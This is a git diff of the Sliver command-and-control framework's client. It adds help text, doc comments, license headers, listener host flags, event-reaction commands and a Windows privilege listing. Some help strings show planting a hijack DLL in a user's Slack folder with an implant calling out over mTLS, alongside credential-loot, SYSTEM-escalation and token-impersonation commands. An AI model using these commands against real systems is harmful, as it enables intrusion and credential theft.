jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -224,7 +235,31 @@ c2 message round trip to ensure the remote Sliver is still responding to command
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
[[.Bold]][[.Underline]]Sorting[[.Normal]]
Directory and file listings are sorted by name in ascending order by default. Listings can also be sorted by size (-s) and modified time (-m). All sorts can be reversed with -r.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit search results to directory and file names matching given criteria.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
/etc/passwd will display the listing for /etc/passwd. "/etc/" is the path, and "passwd" is the filter.
Directory and file listings can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file and directory names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all directory and file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
`
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
@@ -544,6 +579,82 @@ loot --filter creds
# Display the contents of a piece of loot:
loot fetch
`
reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s).
[[.Bold]]Reactable Events:[[.Normal]]
% 20s Triggered when a new session is opened to a target
% 20s Triggered on changes to session metadata
% 20s Triggered when a session is closed (for any reason)
% 20s Triggered when a canary is burned or created
% 20s Triggered when implants are discovered on threat intel platforms
% 20s Triggered when a new piece of loot is added to the server
% 20s Triggered when a piece of loot is removed from the server
`,
consts.SessionOpenedEvent,
consts.SessionUpdateEvent,
consts.SessionClosedEvent,
consts.CanaryEvent,
consts.WatchtowerEvent,
consts.LootAddedEvent,
consts.LootRemovedEvent,
)
reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
[[.Bold]]Examples:[[.Normal]]
# The command uses interactive menus to build a reaction. Simply run:
reaction set
[[.Bold]]Reactable Events:[[.Normal]]
% 20s Triggered when a new session is opened to a target
% 20s Triggered on changes to session metadata
% 20s Triggered when a session is closed (for any reason)
% 20s Triggered when a canary is burned or created
% 20s Triggered when implants are discovered on threat intel platforms
% 20s Triggered when a new piece of loot is added to the server
% 20s Triggered when a piece of loot is removed from the server
`,
consts.SessionOpenedEvent,
consts.SessionUpdateEvent,
consts.SessionClosedEvent,
consts.CanaryEvent,
consts.WatchtowerEvent,
consts.LootAddedEvent,
consts.LootRemovedEvent,
)
reactionUnsetHelp = `[[.Bold]]Command:[[.Normal]] reaction unset
[[.Bold]]About:[[.Normal]] Unset/remove automated commands in reaction to event(s).
[[.Bold]]Examples:[[.Normal]]
# Remove a reaction
reaction unset --id 1
`
dllHijackHelp = `[[.Bold]]Command:[[.Normal]] dllhijack
[[.Bold]]About:[[.Normal]] Prepare and plant a DLL on the remote system for a hijack scenario.
The planted DLL will have its export directory modified to forward the exports to a reference DLL
on the remote system.
The DLL used for the hijack can either be a file on the operator's system or built from a Sliver profile,
supplied with the --profile flag.
[[.Bold]]Examples:[[.Normal]]
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
`
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
)
@@ -568,7 +679,7 @@ const (
// GetHelpFor - Get help string for a command
func GetHelpFor(cmdName []string) string {
if 0 < len(cmdName) {
if helpTmpl, ok := cmdHelp[strings.Join(cmdName, ".")]; ok {
if helpTmpl, ok := cmdHelp[strings.Join(cmdName, sep)]; ok {
return FormatHelpTmpl(helpTmpl)
}
}
+5
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var session *clientpb.Session
@@ -57,6 +58,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PIDCmd - Get the active session's PID
func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -65,6 +67,7 @@ func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf("%d\n", session.PID)
}
// UIDCmd - Get the active session's UID
func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -73,6 +76,7 @@ func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf("%s\n", session.UID)
}
// GIDCmd - Get the active session's GID
func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -81,6 +85,7 @@ func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf("%s\n", session.GID)
}
// WhoamiCmd - Displays the current user of the active session
func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -9,6 +9,7 @@ import (
"github.com/desertbit/grumble"
)
// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+3
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// DNSListenerCmd - Start a DNS lisenter
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
@@ -36,11 +37,13 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
Domains: domains,
Host: lhost,
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
+3
View File
@@ -26,14 +26,17 @@ import (
"github.com/desertbit/grumble"
)
// HTTPListenerCmd - Start an HTTP listener
func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domain := ctx.Flags.String("domain")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: ctx.Flags.String("website"),
Host: lhost,
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
+3
View File
@@ -27,9 +27,11 @@ import (
"github.com/desertbit/grumble"
)
// HTTPSListenerCmd - Start an HTTPS listener
func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domain := ctx.Flags.String("domain")
website := ctx.Flags.String("website")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
cert, key, err := getLocalCertificatePair(ctx)
@@ -43,6 +45,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: website,
Host: lhost,
Port: uint32(lport),
Secure: true,
Cert: cert,
+1
View File
@@ -33,6 +33,7 @@ import (
"github.com/desertbit/grumble"
)
// JobsCmd - Manage server jobs (listeners, etc)
func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if ctx.Flags.Int("kill") != -1 {
jobKill(uint32(ctx.Flags.Int("kill")), con)
+3 -2
View File
@@ -26,13 +26,14 @@ import (
"github.com/desertbit/grumble"
)
// MTLSListenerCmd - Start an mTLS listener
func MTLSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
server := ctx.Flags.String("server")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
con.PrintInfof("Starting mTLS listener ...\n")
mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
Host: server,
Host: lhost,
Port: uint32(lport),
Persistent: ctx.Flags.Bool("persistent"),
})
+1 -1
View File
@@ -52,7 +52,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
profile := generate.GetImplantProfileByName(profileName, con)
if profile != nil {
if profile == nil {
con.PrintErrorf("Profile not found\n")
return
}
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// WGListenerCmd - Start a WireGuard listener
func WGListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
lport := uint16(ctx.Flags.Int("lport"))
nport := uint16(ctx.Flags.Int("nport"))
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// LootAddCredentialCmd - Add a credential type loot
func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
prompt := &survey.Select{
Message: "Choose a credential type:",
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// LootFetchCmd - Display the contents of or download a piece of loot
func LootFetchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
loot, err := SelectLoot(ctx, con.Rpc)
if err != nil {
+59 -1
View File
@@ -36,12 +36,16 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/desertbit/grumble"
)
var (
// ErrInvalidFileType - Invalid file type
ErrInvalidFileType = errors.New("invalid file type")
// ErrInvalidLootType - Invalid loot type
ErrInvalidLootType = errors.New("invalid loot type")
ErrNoLootFileData = errors.New("no loot file data")
// ErrNoLootFileData - No loot file data
ErrNoLootFileData = errors.New("no loot file data")
)
// AddLootFile - Add a file as loot
@@ -106,6 +110,7 @@ func AddLootAPIKey(rpc rpcpb.SliverRPCClient, name string, apiKey string) error
return err
}
// SelectCredentials - An interactive menu for the user to select a piece of loot
func SelectCredentials(con *console.SliverConsoleClient) (*clientpb.Loot, error) {
allLoot, err := con.Rpc.LootAllOf(context.Background(), &clientpb.Loot{
Type: clientpb.LootType_LOOT_CREDENTIAL,
@@ -143,3 +148,56 @@ func SelectCredentials(con *console.SliverConsoleClient) (*clientpb.Loot, error)
}
return nil, errors.New("loot not found")
}
// SelectLoot - Interactive menu for the user to select a piece loot (all types)
func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
// Fetch data with optional filter
filter := ctx.Flags.String("filter")
var allLoot *clientpb.AllLoot
var err error
if filter == "" {
allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
} else {
lootType, err := lootTypeFromHumanStr(filter)
if err != nil {
return nil, ErrInvalidFileType
}
allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
if err != nil {
return nil, err
}
}
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no loot to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a piece of loot:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return allLoot.Loot[index], nil
}
}
return nil, errors.New("loot not found")
}
+1
View File
@@ -31,6 +31,7 @@ import (
"github.com/desertbit/grumble"
)
// LootAddLocalCmd - Add a local file to the server as loot
func LootAddLocalCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
localPath := ctx.Args.String("path")
if _, err := os.Stat(localPath); os.IsNotExist(err) {
+5 -54
View File
@@ -35,11 +35,10 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/desertbit/grumble"
)
// --- Loot Command ---
// LootCmd - The loot root command
func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
filter := ctx.Flags.String("filter")
var allLoot *clientpb.AllLoot
@@ -75,6 +74,7 @@ func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintLootFile - Display the contents of a piece of loot
func PrintLootFile(stdout io.Writer, loot *clientpb.Loot) {
if loot.File == nil {
return
@@ -148,6 +148,7 @@ func saveLootToDisk(ctx *grumble.Context, loot *clientpb.Loot) (string, error) {
return saveTo, err
}
// PrintAllLootTable - Displays a table of all loot
func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
if allLoot == nil || len(allLoot.Loot) == 0 {
fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
@@ -172,6 +173,7 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
fmt.Fprintf(stdout, outputBuf.String())
}
// PrintAllFileLootTable - Displays a table of all file loot
func PrintAllFileLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
if allLoot == nil || len(allLoot.Loot) == 0 {
fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
@@ -213,6 +215,7 @@ func PrintAllFileLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
fmt.Fprintf(stdout, outputBuf.String())
}
// PrintAllCredentialLootTable - Displays a table of all credential loot
func PrintAllCredentialLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
if allLoot == nil || len(allLoot.Loot) == 0 {
fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
@@ -263,58 +266,6 @@ func PrintAllCredentialLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
fmt.Fprintf(stdout, outputBuf.String())
}
func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
// Fetch data with optional filter
filter := ctx.Flags.String("filter")
var allLoot *clientpb.AllLoot
var err error
if filter == "" {
allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
} else {
lootType, err := lootTypeFromHumanStr(filter)
if err != nil {
return nil, ErrInvalidFileType
}
allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
if err != nil {
return nil, err
}
}
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no loot to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a piece of loot:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return allLoot.Loot[index], nil
}
}
return nil, errors.New("loot not found")
}
func lootTypeToStr(value clientpb.LootType) string {
switch value {
case clientpb.LootType_LOOT_FILE:
+1
View File
@@ -31,6 +31,7 @@ import (
"github.com/desertbit/grumble"
)
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+10 -9
View File
@@ -1,14 +1,5 @@
package loot
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
@@ -27,6 +18,16 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// LootRenameCmd - Rename a piece of loot
func LootRenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
loot, err := SelectLoot(ctx, con.Rpc)
if err != nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// MonitorStartCmd - Start monitoring threat intel for implants
func MonitorStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
resp, err := con.Rpc.MonitorStart(context.Background(), &commonpb.Empty{})
if err != nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// MonitorStopCmd - Stop monitoring threat intel for implants
func MonitorStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.MonitorStop(context.Background(), &commonpb.Empty{})
if err != nil {
+1
View File
@@ -29,6 +29,7 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// IfconfigCmd - Display network interfaces on the remote system
func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -29,6 +29,7 @@ import (
"github.com/desertbit/grumble"
)
// NetstatCmd - Display active network connections on the remote system
func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -32,6 +32,7 @@ import (
"github.com/desertbit/grumble"
)
// OperatorsCmd - Display operators and current online status
func OperatorsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
operators, err := con.Rpc.GetOperators(context.Background(), &commonpb.Empty{})
if err != nil {
+1
View File
@@ -8,6 +8,7 @@ import (
"github.com/desertbit/grumble"
)
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -33,6 +33,7 @@ import (
"github.com/desertbit/grumble"
)
// PivotsCmd - Display pivots for all sessions
func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
timeout := ctx.Flags.Int("timeout")
sessionID := ctx.Flags.String("id")
+1
View File
@@ -9,6 +9,7 @@ import (
"github.com/desertbit/grumble"
)
// TCPListenerCmd - Start a TCP pivot listener on the remote system
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -29,6 +29,7 @@ import (
"github.com/desertbit/grumble"
)
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -24,6 +24,7 @@ import (
"github.com/desertbit/grumble"
)
// PortfwdRmCmd - Remove an existing tunneled port forward
func PortfwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
portfwdID := ctx.Flags.Int("id")
if portfwdID < 1 {
+1
View File
@@ -30,6 +30,7 @@ import (
"github.com/desertbit/grumble"
)
// PortfwdCmd - Display information about tunneled port forward(s)
func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
portfwds := core.Portfwds.List()
if len(portfwds) == 0 {
+109
View File
@@ -0,0 +1,109 @@
package privilege
import (
"context"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var processName string = "Current Process"
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
if session.OS != "windows" {
con.PrintErrorf("Command not supported on this operating system.")
return
}
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Response is the Envelope (see RPC API), Err is part of it.
if privs.Response != nil && privs.Response.Err != "" {
con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
con.PrintErrorf("%s\n", privs.Response.Err)
}
if privs.PrivInfo == nil {
return
}
if privs.ProcessName != "" {
processName = privs.ProcessName
}
// To make things look pretty, figure out the longest name and description
// for column width
var nameColumnWidth int = 0
var descriptionColumnWidth int = 0
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
for _, entry := range privs.PrivInfo {
if len(entry.Name) > nameColumnWidth {
nameColumnWidth = len(entry.Name)
}
if len(entry.Description) > descriptionColumnWidth {
descriptionColumnWidth = len(entry.Description)
}
}
// Give one more space
nameColumnWidth += 1
descriptionColumnWidth += 1
con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
con.Println(strings.Repeat("-", introWidth))
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
for _, entry := range privs.PrivInfo {
con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
if entry.Enabled {
con.Printf("Enabled")
} else {
con.Printf("Disabled")
}
if entry.EnabledByDefault {
con.Printf(", Enabled by Default")
}
if entry.Removed {
con.Printf(", Removed")
}
if entry.UsedForAccess {
con.Printf(", Used for Access")
}
con.Printf("\n")
}
}
+2 -1
View File
@@ -26,13 +26,14 @@ import (
"github.com/desertbit/grumble"
)
// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
process := ctx.Flags.String("process")
config := con.GetActiveSliverConfig()
config := con.GetActiveSessionConfig()
ctrl := make(chan bool)
con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// ImpersonateCmd - Windows only, impersonate a user token
func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// MakeTokenCmd - Windows only, create a token using "valid" credentails
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// RevToSelfCmd - Drop any impersonated tokens
func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// RunAsCmd - Run a command as another user on the remote system
func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+19
View File
@@ -1,5 +1,23 @@
package processes
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
@@ -11,6 +29,7 @@ import (
"github.com/desertbit/grumble"
)
// ProcdumpCmd - Dump the memory of a remote process
func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+2
View File
@@ -44,6 +44,7 @@ var (
}
)
// PsCmd - List processes on the remote system
func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -166,6 +167,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
return color
}
// GetPIDByName - Get a PID by name from the active session
func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleClient) int {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveSession.Request(ctx),
+19
View File
@@ -1,5 +1,23 @@
package processes
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
@@ -8,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// TerminateCmd - Terminate a process on the remote system
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+5
View File
@@ -0,0 +1,5 @@
Reaction
=========
Commands to set a reaction, or unset a reaction. Reactions allow the operator to automate commands in response to event(s).
+80
View File
@@ -0,0 +1,80 @@
package reaction
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"path"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
)
const (
ReactionFileName = "reactions.json"
)
// GetReactionFilePath - Get the
func GetReactionFilePath() string {
return path.Join(assets.GetRootAppDir(), ReactionFileName)
}
// SaveReactions - Save the reactions to the reaction file
func SaveReactions(reactions []core.Reaction) error {
reactionFilePath := GetReactionFilePath()
data, err := json.MarshalIndent(reactions, "", " ")
if err != nil {
return err
}
return ioutil.WriteFile(reactionFilePath, data, 0600)
}
// LoadReactions - Save the reactions to the reaction file
func LoadReactions() (int, error) {
reactionFilePath := GetReactionFilePath()
data, err := ioutil.ReadFile(reactionFilePath)
if err != nil {
return 0, err
}
reactions := []core.Reaction{}
err = json.Unmarshal(data, &reactions)
if err != nil {
return 0, err
}
for _, oldReaction := range core.Reactions.All() {
core.Reactions.Remove(oldReaction.ID)
}
for _, reaction := range reactions {
if !isReactable(reaction) {
continue
}
core.Reactions.Add(reaction)
}
return len(reactions), nil
}
func isReactable(reaction core.Reaction) bool {
for _, eventType := range core.ReactableEvents {
if reaction.EventType == eventType {
return true
}
}
return false
}
+90
View File
@@ -0,0 +1,90 @@
package reaction
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
)
// ReactionCmd - Manage reactions to events
func ReactionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
totalReactions := 0
for _, eventType := range core.ReactableEvents {
reactions := core.Reactions.On(eventType)
if 0 < len(reactions) {
displayReactionsTable(eventType, reactions, con)
}
totalReactions += len(reactions)
